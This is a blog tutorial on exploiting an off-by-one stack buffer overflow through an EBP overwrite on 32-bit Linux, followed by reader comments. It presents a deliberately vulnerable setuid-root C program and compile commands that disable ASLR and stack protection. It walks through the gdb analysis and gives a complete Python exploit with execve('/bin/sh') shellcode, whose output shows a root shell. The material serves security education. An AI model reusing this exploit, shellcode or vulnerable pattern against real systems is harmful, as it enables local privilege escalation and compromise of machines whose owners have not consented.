Prerequisite:
VM Setup: Ubuntu 12.04 (x86)
What is off-by-one bug?
Copying source string into destination buffer could result in off-by-one when
- Source string length is equal to destination buffer length.
When source string length is equal to destination buffer length, a single NULL byte gets copied just above the destination buffer. Here since the destination buffer is located in stack, the single NULL byte could overwrite the least significant bit (LSB) of caller’s EBP stored in the stack and this could lead to arbitrary code execution.
As always enough of definitions, lets look into an off-by-one vulnerable code!!
Vulnerable Code:
//vuln.c #include <stdio.h> #include <string.h> void foo(char* arg); void bar(char* arg); void foo(char* arg) { bar(arg); /* [1] */ } void bar(char* arg) { char buf[256]; strcpy(buf, arg); /* [2] */ } int main(int argc, char *argv[]) { if(strlen(argv[1])>256) { /* [3] */ printf("Attempted Buffer Overflow\n"); fflush(stdout); return -1; } foo(argv[1]); /* [4] */ return 0; }
Compilation Commands:
#echo 0 > /proc/sys/kernel/randomize_va_space $gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
Line [2] of the above vulnerable code is where the off-by-one overflow could occur. Destination buffer length is 256 and hence source string of length 256 bytes could lead to arbitrary code execution.
How arbitrary code execution is achieved?
Arbitrary code execution is achieved using a technique called “EBP overwrite”. If callers’s EBP is located just above the destination buffer then after strcpy, a single NULL byte would have overwritten the LSB of caller’s EBP. To understand more about off-by-one lets disassemble vulnerable code and draw the stack layout for it.
Disassembly:
(gdb) disassemble main Dump of assembler code for function main: //Function Prologue 0x08048497 <+0>: push %ebp //backup caller's ebp 0x08048498 <+1>: mov %esp,%ebp //set callee's (main) ebp to esp 0x0804849a <+3>: push %edi //backup EDI 0x0804849b <+4>: sub $0x8,%esp //create stack space 0x0804849e <+7>: mov 0xc(%ebp),%eax //eax = argv 0x080484a1 <+10>: add $0x4,%eax //eax = &argv[1] 0x080484a4 <+13>: mov (%eax),%eax //eax = argv[1] 0x080484a6 <+15>: movl $0xffffffff,-0x8(%ebp) //String Length Calculation -- Begins here 0x080484ad <+22>: mov %eax,%edx 0x080484af <+24>: mov $0x0,%eax 0x080484b4 <+29>: mov -0x8(%ebp),%ecx 0x080484b7 <+32>: mov %edx,%edi 0x080484b9 <+34>: repnz scas %es:(%edi),%al 0x080484bb <+36>: mov %ecx,%eax 0x080484bd <+38>: not %eax 0x080484bf <+40>: sub $0x1,%eax //String Length Calculation -- Ends here 0x080484c2 <+43>: cmp $0x100,%eax //eax = strlen(argv[1]). if eax > 256 0x080484c7 <+48>: jbe 0x80484e9 <main+82> //Jmp if NOT greater 0x080484c9 <+50>: movl $0x80485e0,(%esp) //If greater print error string,flush and return. 0x080484d0 <+57>: call 0x8048380 <puts@plt> 0x080484d5 <+62>: mov 0x804a020,%eax 0x080484da <+67>: mov %eax,(%esp) 0x080484dd <+70>: call 0x8048360 <fflush@plt> 0x080484e2 <+75>: mov $0x1,%eax 0x080484e7 <+80>: jmp 0x80484fe <main+103> 0x080484e9 <+82>: mov 0xc(%ebp),%eax //argv[1] <= 256, eax = argv 0x080484ec <+85>: add $0x4,%eax //eax = &argv[1] 0x080484ef <+88>: mov (%eax),%eax //eax = argv[1] 0x080484f1 <+90>: mov %eax,(%esp) //foo arg 0x080484f4 <+93>: call 0x8048464 //call foo 0x080484f9 <+98>: mov $0x0,%eax //return value //Function Epilogue 0x080484fe <+103>: add $0x8,%esp //unwind stack space 0x08048501 <+106>: pop %edi //restore EDI 0x08048502 <+107>: pop %ebp //restore EBP 0x08048503 <+108>: ret //return End of assembler dump. (gdb) disassemble foo Dump of assembler code for function foo: //Function prologue 0x08048464 <+0>: push %ebp //backup caller's (main) ebp 0x08048465 <+1>: mov %esp,%ebp //set callee's (foo) ebp to esp 0x08048467 <+3>: sub $0x4,%esp //create stack space 0x0804846a <+6>: mov 0x8(%ebp),%eax //foo arg 0x0804846d <+9>: mov %eax,(%esp) //bar arg = foo arg 0x08048470 <+12>: call 0x8048477 //call bar //Function Epilogue 0x08048475 <+17>: leave //unwind stack space + restore ebp 0x08048476 <+18>: ret //return End of assembler dump. (gdb) disassemble bar Dump of assembler code for function bar: //Function Prologue 0x08048477 <+0>: push %ebp //backup caller's (foo) ebp 0x08048478 <+1>: mov %esp,%ebp //set callee's (bar) ebp to esp 0x0804847a <+3>: sub $0x108,%esp //create stack space 0x08048480 <+9>: mov 0x8(%ebp),%eax //bar arg 0x08048483 <+12>: mov %eax,0x4(%esp) //strcpy arg2 0x08048487 <+16>: lea -0x100(%ebp),%eax //buf 0x0804848d <+22>: mov %eax,(%esp) //strcpy arg1 0x08048490 <+25>: call 0x8048370 <strcpy@plt> //call strcpy //Function Epilogue 0x08048495 <+30>: leave //unwind stack space + restore ebp 0x08048496 <+31>: ret //return End of assembler dump. (gdb)
Stack Layout:
As we already know user input of size 256, overwrites the LSB of foo’s EBP with a NULL byte. So when foo’s EBP stored just above destination buffer ‘buf’ is overwritten with a single NULL byte, ebp gets changed from 0xbffff2d8 to 0xbffff200. From the stack layout we could see that stack location 0xbffff200 is part of destination buffer ‘buf’ and since user input gets copied into this destination buffer, attacker has control over this stack location (0xbffff200) and thus he has control over instruction pointer (eip) using which he can achieve arbitrary code execution. Lets test this out by sending a series of “A”‘s of size 256.
Test Step 1: Is EBP overwrite and thus return address overwrite possible?
(gdb) r `python -c 'print "A"*256'` Starting program: /home/sploitfun/lsploits/new/obo/stack/vuln `python -c 'print "A"*256'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) p/x $eip $1 = 0x41414141 (gdb)
Above output shows we have control over instruction pointer (EIP) because of EBP overwrite!!
Test Step 2: What is the offset from destination buffer.
Now lets find at what offset from the beginning of the destination buffer ‘buf’, we need to place our return address. Do remember in off-by-one vulnerability we arent overwriting actual return address stored in stack (like we do in stack based buffer overflows) instead a 4 byte memory region inside the attacker controlled destination buffer ‘buf’ will be treated as return address location (after off-by-one overflow). Thus we need to find this return address location offset (from ‘buf’) which is part of destination buffer ‘buf’ itself. Not very clear, no issues just read on!!
Lets now try to understand CPU execution starting at text segment address 0x08048490:
- 0x08048490 – call strcpy – This instruction execution results in off-by-one overflow, hence foo’s EBP value (stored in stack location 0xbffff2cc) gets changed from 0xbffff2d8 to 0xbffff200.
- 0x08048495 – leave – A leave instruction unwinds this function’s stack space and restores ebp.
leave: mov ebp, esp; //unwind stack space by setting esp to ebp. pop ebp; //restore ebp *** As per our example: *** leave: mov ebp, esp; //esp = ebp = 0xbffff2cc pop ebp; //ebp = 0xbffff200 (Overwritten EBP value is now stored in ebp register); esp = 0xbffff2d0
- 0x08048495 – ret – Returns to foo’s instruction 0x08048475
- 0x08048475 – leave – A leave instruction unwinds this function’s stack space and restores ebp.
*** As per our example: *** leave: mov ebp, esp; //esp = ebp = 0xbffff200 (As part of unwinding esp is shifted down instead of up!!) pop ebp; //ebp = 0x41414141; esp = 0xbffff204
- 0x08048476 – ret – Return’s to instruction located at ESP (0xbffff204). Now ESP is pointing to attacker controlled buffer and hence attacker can return to anyplace he wants to achieve arbitrary code execution.
Now lets get back to our original test of finding the offset to return address from destination buffer ‘buf’. As shown in our stack layout picture, ‘buf’ is located at 0xbffff158 and from following the CPU execution we know that return address location inside the destination buffer ‘buf’ is located at 0xbffff204. Hence offset to return address from ‘buf’ is 0xbffff204 – 0xbffff158 = 0xac. Thus user input of form “A”*172 + “B”*4 + “A”*80, overwrites EIP with “BBBB”.
$ cat exp_tst.py #exp_tst.py #!/usr/bin/env python import struct from subprocess import call buf = "A" * 172 buf += "B" * 4 buf += "A" * 80 print "Calling vulnerable program" call(["./vuln", buf]) $ python exp_tst.py Calling vulnerable program $ sudo gdb -q vuln Reading symbols from /home/sploitfun/lsploits/new/obo/stack/vuln...(no debugging symbols found)...done. (gdb) core-file core [New LWP 4055] warning: Can't read pathname for load map: Input/output error. Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) p/x $eip $1 = 0x42424242 (gdb)
Above output shows that attacker gets control over return address. Return address is located at offset (0xac) from ‘buf’. With these informations, lets write an exploit program to achieve arbitrary code execution.
Exploit Code:
#exp.py #!/usr/bin/env python import struct from subprocess import call #Spawn a shell. #execve(/bin/sh) Size- 28 bytes. scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90" ret_addr = 0xbffff218 #endianess conversion def conv(num): return struct.pack("<I",num) #Junk + Return Address + NOP's + Shellcode + Junk buf = "A" * 172 buf += conv(ret_addr) buf += "\x90" * 30 buf += scode buf += "A" * 22 print "Calling vulnerable program" call(["./vuln", buf])
Executing above exploit program gives us root shell as shown below:
$ python exp.py Calling vulnerable program # id uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun) # exit $
Off-by-one looks like a silly bug and its weird that such small mistake by developer could lead to arbitrary code execution. Does off-by-one bug always lead to arbitrary code execution?
What if caller’s EBP isnt present just above destination buffer?
The answer to this question is simple, we cant exploit it using EBP overwrite technique!! ( But some other exploit technique might be possible since after all a bug exists in the code 😛 )
Under what scenarios caller’s EBP wont be present just above the destination buffer?
Scenario 1: Some other local variable might be present above the destination buffer.
... void bar(char* arg) { int x = 10; /* [1] */ char buf[256]; /* [2] */ strcpy(buf, arg); /* [3] */ } ...
Thus in these cases a local variable is found in between the end of buffer ‘ buf’ and EBP which doesnt allow us to overwrite LSB of EBP!!
Scenario 2: Alignment space – By default gcc aligns stack space to 16 bytes boundaries ie) before creating stack space ESP’s last 4 bit is zero’d out using ‘and’ instruction as shown in the below function disassembly.
Dump of assembler code for function main: 0x08048497 <+0>: push %ebp 0x08048498 <+1>: mov %esp,%ebp 0x0804849a <+3>: push %edi 0x0804849b <+4>: and $0xfffffff0,%esp //Stack space aligned to 16 byte boundary 0x0804849e <+7>: sub $0x20,%esp //create stack space ...
Thus in these cases an alignment space (of upto 12 bytes) is found in between the end of buffer ‘buf’ and EBP which doesnt allow us to overwrite LSB of EBP!!
Because of this reason we added the gcc argument “-mpreferred-stack-boundary=2” while compiling our vulnerable code (vuln.c)!!
Help!!: What if ESP is already aligned on a 16 byte boundary level before creating stack space? In such cases EBP overwrite should be possible even when program is compiled with gcc’s default stack boundary of 16 bytes. But till now I have failed to create such a working code. In all my trials before creating stack space ESP isnt aligned on a 16 byte boundary no matter how carefullly I create my stack contents, gcc adds some extra space for local variables which makes ESP to be unaligned to 16 byte boundary level. If anybody has a working code or has an answer to why ESP is always unaligned, please let me know!!
Reference:
thank you for sharing
LikeLike
Awesome! Thanks
LikeLike
The return address location in the payload is 240 and I don’t have enough room for the shell-code, what do I do…?
LikeLike
[…] A simple JMP EBP would be nice, but searching through the executable and it’s attached modules leaves no love (remember that this is Vista so ASLR is enabled, so system DLL’s are not a viable option). What we’re looking at here is an Off-by-One Exploit. […]
LikeLike
A note on Scenario 1: if the target binary is compiled using -fstack-protector flag, the compiler rearranges local variables on stack, thus moves more critical ones to higher addresses; for example, an int is moved below a string buffer. This prevents overwriting of other local variables, by moving strings closer to the stack frame. In this case, the situation would faver the attacker; unless stack cookies weren’t be placed on the stack after ebp and the one byte write of off-by-one didn’t couse an abort signal before the return.
LikeLike
Thank you very much! Very illustrating, though I have a problem with the c compiler. My buffer gets assigned in memory 260 bytes instead of 256 even though I define it as buf[256].
The check is still comparing against 256 so I can never oveflow the LSB of the saved EBP (unless I change the check). I am compiling with -mpreferred-stack-boundary=2, if I drop this flag the buffer is 264 bytes ubstead of 260, even worse. I want it to be 256 exactly.
Thanks!
LikeLike
sorry, I can’t get why ret address is ret_addr = 0xbffff218? Thank you.
LikeLiked by 1 person
Sorry, Already understood.
LikeLike
Great Find!!! Thanks for your writeup! We were rewarding you with $500 for your nice writeup. Let us know your paypal ID.
LikeLike